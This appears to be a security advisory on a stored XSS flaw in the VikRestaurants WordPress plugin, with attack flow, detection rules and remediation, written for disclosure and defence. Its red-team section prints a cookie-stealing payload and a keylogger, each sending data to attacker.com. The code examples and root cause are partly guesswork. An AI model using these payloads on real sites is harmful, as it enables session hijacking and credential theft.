CVE-2025-57962

Executive Summary

CVE-2025-57962 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the VikRestaurants WordPress plugin, developed by e4jvikwp. The vulnerability exists in versions up to and including 1.5.1. An authenticated attacker with low privileges can inject malicious JavaScript into web pages generated by the plugin. When other users (including administrators) view the affected page, the injected script executes in their browser, potentially leading to session hijacking, data theft, or further compromise of the WordPress site. The CVSS score is 5.9 (Medium), and no public exploit or patch is currently available.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository and third-party marketplaces. Users are advised to monitor the plugin's update channel for a patched version. Since no patch is available, immediate mitigation steps are critical.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – An attacker needs a low-privilege account (e.g., subscriber or contributor).
• User Interaction (UI): Required (R) – The victim must visit the compromised page.
• Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): Low (L) – Limited impact on availability.

Threat Level: Medium. The requirement for authentication and user interaction reduces the immediate risk, but the potential for stored XSS in a widely-used plugin makes it a significant concern for WordPress site administrators.

Deep Dive & Mechanics

The vulnerability stems from improper neutralization of user-supplied input within the VikRestaurants plugin. The plugin likely stores user-provided data (e.g., restaurant names, menu items, or customer reviews) in the WordPress database without proper sanitization or output encoding. When this data is later rendered in a web page, the injected script executes.

Attack Flow:

1. An attacker registers or logs in with a low-privilege account.
2. The attacker navigates to a form field (e.g., "Restaurant Name" or "Review Comment") that is not properly sanitized.
3. The attacker submits a payload such as <script>alert('XSS')</script>.
4. The payload is stored in the database.
5. An administrator or other user visits the page displaying the stored data.
6. The browser executes the malicious script.

Root Cause: The plugin fails to apply output encoding (e.g., esc_html() or wp_kses()) when rendering user-controlled data in HTML context.

Vulnerable vs. Patched Code

Vulnerable Code (Example):

// In a template file or shortcode handler
echo $restaurant_name; // Direct output without sanitization

Patched Code (Expected):

// Properly escape output
echo esc_html( $restaurant_name );

The patched version should use WordPress's built-in escaping functions to neutralize any HTML or JavaScript before rendering.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A WordPress site with VikRestaurants <= 1.5.1 installed.
• A low-privilege user account (e.g., subscriber).

Exploitation Steps:

1. Log in as the low-privilege user.
2. Navigate to a vulnerable input field (e.g., "Add Review" or "Edit Restaurant").
3. Inject the following payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Submit the form.
5. Wait for an administrator to view the page containing the injected data.
6. The administrator's session cookie is exfiltrated to the attacker's server.

Alternative Payload (Keylogger):

<script>
document.addEventListener('keydown', function(e) {
    fetch('https://attacker.com/log?key=' + e.key);
});
</script>

Blue Team (Defensive)

Detection:

• Monitor for unusual form submissions containing <script>, onerror, or javascript: patterns.
• Review database entries for unexpected HTML/JavaScript in text fields.
• Use a Web Application Firewall (WAF) to block common XSS payloads.

Hunting Queries:

• Search WordPress database for stored XSS indicators:

  SELECT * FROM wp_postmeta WHERE meta_value LIKE '%<script>%';
  SELECT * FROM wp_comments WHERE comment_content LIKE '%<script>%';
  

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound connections to unknown or suspicious domains from the WordPress server.
  • HTTP requests containing document.cookie or fetch( in the body.
• Host IOCs:
  • Unexpected <script> tags in database fields (e.g., wp_postmeta, wp_options).
  • Modified plugin files (check file integrity with md5sum).
• Log IOCs:
  • Repeated failed login attempts followed by successful low-privilege logins.
  • Unusual POST requests to plugin-specific endpoints (e.g., /wp-admin/admin-ajax.php?action=vikrestaurants_save).

Detection Engineering

YARA Rule

rule CVE_2025_57962_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads targeting VikRestaurants plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-57962"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /on\w+\s*=\s*["']?[^"'\s>]+/is
        $xss3 = /javascript\s*:/is
    condition:
        any of ($xss*) and filesize < 10KB
}

Sigma Rule

title: Stored XSS in VikRestaurants Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts in VikRestaurants plugin input fields
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=vikrestaurants'
        cs-body|contains:
            - '<script'
            - 'onerror'
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in admin fields (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-57962 - Stored XSS Payload in VikRestaurants";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=vikrestaurants"; http_client_body;
    content:"<script"; http_client_body;
    sid:1000001;
    rev:1;
    reference:cve,2025-57962;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Implement a Web Application Firewall (WAF) rule to block common XSS patterns.
3. Review and clean any existing stored XSS payloads in the database.

Long-Term Fix:

• Apply the official patch from the vendor once released.
• Ensure all user input is sanitized with sanitize_text_field() and output is escaped with esc_html() or wp_kses().

Workaround:

• Use a security plugin (e.g., Wordfence) to add virtual patching for this vulnerability.
• Restrict low-privilege user roles from accessing vulnerable plugin features.

Valters IT